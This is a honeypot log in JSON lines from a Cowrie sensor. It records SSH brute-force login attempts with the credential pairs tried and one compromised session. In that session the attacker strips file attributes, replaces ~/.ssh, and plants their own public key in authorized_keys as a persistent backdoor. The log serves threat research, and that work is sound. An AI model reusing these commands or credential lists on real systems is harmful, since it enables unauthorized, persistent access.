{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:24.662462Z","src_ip":"141.11.88.14","session":"a6fb7c3bf97a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:24.741467Z","src_ip":"141.11.88.14","session":"a6fb7c3bf97a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.98911476135254,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:24.764629Z","src_ip":"128.199.8.54","session":"18b1462ba17e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"scanner","password":"Gdx8eroi","message":"login attempt [scanner/Gdx8eroi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:25.698366Z","src_ip":"141.11.88.14","session":"a6fb7c3bf97a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:26.805485Z","src_ip":"141.11.88.14","session":"a6fb7c3bf97a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":33906,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bb61dda1ef8","protocol":"ssh","message":"New connection: 41.86.34.139:33906 (10.17.0.5:22) [session: 9bb61dda1ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:27.878592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:27.883446Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:28.092346Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@2024","message":"login attempt [oracle/oracle@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:28.958913Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:29.425599Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:29.428592Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:29.432379Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:29.848761Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:30.174134Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:30.178427Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:30.405313Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:30.409545Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":33912,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d10b5be91a1","protocol":"ssh","message":"New connection: 41.86.34.139:33912 (10.17.0.5:22) [session: 0d10b5be91a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:30.609809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:30.615014Z","src_ip":"41.86.34.139","session":"0d10b5be91a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:30.823150Z","src_ip":"41.86.34.139","session":"0d10b5be91a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:31.689647Z","src_ip":"41.86.34.139","session":"0d10b5be91a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37982,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aa04700447a","protocol":"ssh","message":"New connection: 141.11.88.14:37982 (10.17.0.5:22) [session: 3aa04700447a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:31.738478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:31.824431Z","src_ip":"141.11.88.14","session":"3aa04700447a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:31.940745Z","src_ip":"141.11.88.14","session":"3aa04700447a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jboss","password":"jboss","message":"login attempt [jboss/jboss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:32.595764Z","src_ip":"141.11.88.14","session":"3aa04700447a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:32.901002Z","src_ip":"41.86.34.139","session":"0d10b5be91a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":34828,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e6e96717ec8","protocol":"ssh","message":"New connection: 41.86.34.139:34828 (10.17.0.5:22) [session: 4e6e96717ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:33.105391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:33.109695Z","src_ip":"41.86.34.139","session":"4e6e96717ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:33.318717Z","src_ip":"41.86.34.139","session":"4e6e96717ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:33.680744Z","src_ip":"141.11.88.14","session":"3aa04700447a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:34.185290Z","src_ip":"41.86.34.139","session":"4e6e96717ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:34.397019Z","src_ip":"41.86.34.139","session":"9bb61dda1ef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:34.401650Z","src_ip":"41.86.34.139","session":"4e6e96717ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47244,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ee9c28f0c9e","protocol":"ssh","message":"New connection: 141.11.88.14:47244 (10.17.0.5:22) [session: 4ee9c28f0c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:38.397539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:38.497067Z","src_ip":"141.11.88.14","session":"4ee9c28f0c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:38.500679Z","src_ip":"141.11.88.14","session":"4ee9c28f0c9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:39.093797Z","src_ip":"141.11.88.14","session":"4ee9c28f0c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:40.203777Z","src_ip":"141.11.88.14","session":"4ee9c28f0c9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":7117,"dst_ip":"10.17.0.5","dst_port":22,"session":"513f9e1918c3","protocol":"ssh","message":"New connection: 36.92.41.115:7117 (10.17.0.5:22) [session: 513f9e1918c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:43.191457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:43.198554Z","src_ip":"36.92.41.115","session":"513f9e1918c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:43.448253Z","src_ip":"36.92.41.115","session":"513f9e1918c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123qwe","message":"login attempt [ubuntu/qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:44.475028Z","src_ip":"36.92.41.115","session":"513f9e1918c3","protocol":"ssh"}
